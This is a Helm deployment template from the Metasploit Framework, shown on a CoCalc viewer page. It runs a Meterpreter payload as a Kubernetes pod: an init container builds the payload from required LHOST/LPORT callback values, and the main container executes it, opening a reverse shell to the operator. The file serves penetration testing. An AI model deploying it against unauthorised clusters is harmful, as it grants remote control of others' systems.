CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/kubernetes/meterpreter/templates/deployment.yaml
Views: 11782
1
apiVersion: apps/v1
2
kind: Deployment
3
metadata:
4
name: {{ include "meterpreter.fullname" . }}
5
labels:
6
{{- include "meterpreter.labels" . | nindent 4 }}
7
spec:
8
replicas: 1
9
selector:
10
matchLabels:
11
{{- include "meterpreter.selectorLabels" . | nindent 6 }}
12
template:
13
metadata:
14
labels:
15
{{- include "meterpreter.selectorLabels" . | nindent 8 }}
16
spec:
17
{{- with .Values.imagePullSecrets }}
18
imagePullSecrets:
19
{{- toYaml . | nindent 8 }}
20
{{- end }}
21
{{- if .Values.privileges.useServiceAccount }}
22
serviceAccountName: {{ include "meterpreter.fullname" . }}
23
{{ else }}
24
automountServiceAccountToken: false
25
{{ end }}
26
securityContext:
27
{{- toYaml .Values.privileges.podSecurityContext | nindent 8 }}
28
initContainers:
29
- name: msfvenome
30
image: "{{ .Values.image.repository}}:{{ .Values.image.tag }}"
31
imagePullPolicy: {{ .Values.image.pullPolicy }}
32
command: ["/bin/bash", "-c", "/tmp/meterpreter.sh"]
33
env:
34
- name: LHOST
35
value: "{{ required "Please provide value to 'lhost' - The IP Address the payload will connect to" .Values.lhost }}"
36
- name: LPORT
37
value: "{{ required "Please provide value to 'lport' - The Port the payload will connect to" .Values.lport }}"
38
volumeMounts:
39
- name: meterpreter
40
mountPath: /meterpreter
41
- name: msfvenome
42
mountPath: /tmp/meterpreter.sh
43
subPath: meterpreter.sh
44
45
containers:
46
- name: {{ .Chart.Name }}
47
image: gcr.io/google_containers/pause-amd64:3.0
48
imagePullPolicy: {{ .Values.image.pullPolicy }}
49
command: ["/meterpreter/meterpreter"]
50
tty: true
51
stdin: true
52
securityContext:
53
{{- toYaml .Values.privileges.securityContext | nindent 12 }}
54
55
resources:
56
{{- toYaml .Values.resources | nindent 12 }}
57
volumeMounts:
58
- name: meterpreter
59
mountPath: /meterpreter
60
61
restartPolicy: Always
62
volumes:
63
- name: meterpreter
64
emptyDir: {}
65
- name: msfvenome
66
configMap:
67
name: {{ include "meterpreter.fullname" . }}
68
items:
69
- key: meterpreter.sh
70
path: meterpreter.sh
71
defaultMode: 0777
72
73
74
{{- with .Values.nodeSelector }}
75
nodeSelector:
76
{{- toYaml . | nindent 8 }}
77
{{- end }}
78
{{- with .Values.affinity }}
79
affinity:
80
{{- toYaml . | nindent 8 }}
81
{{- end }}
82
{{- with .Values.tolerations }}
83
tolerations:
84
{{- toYaml . | nindent 8 }}
85
{{- end }}
86
87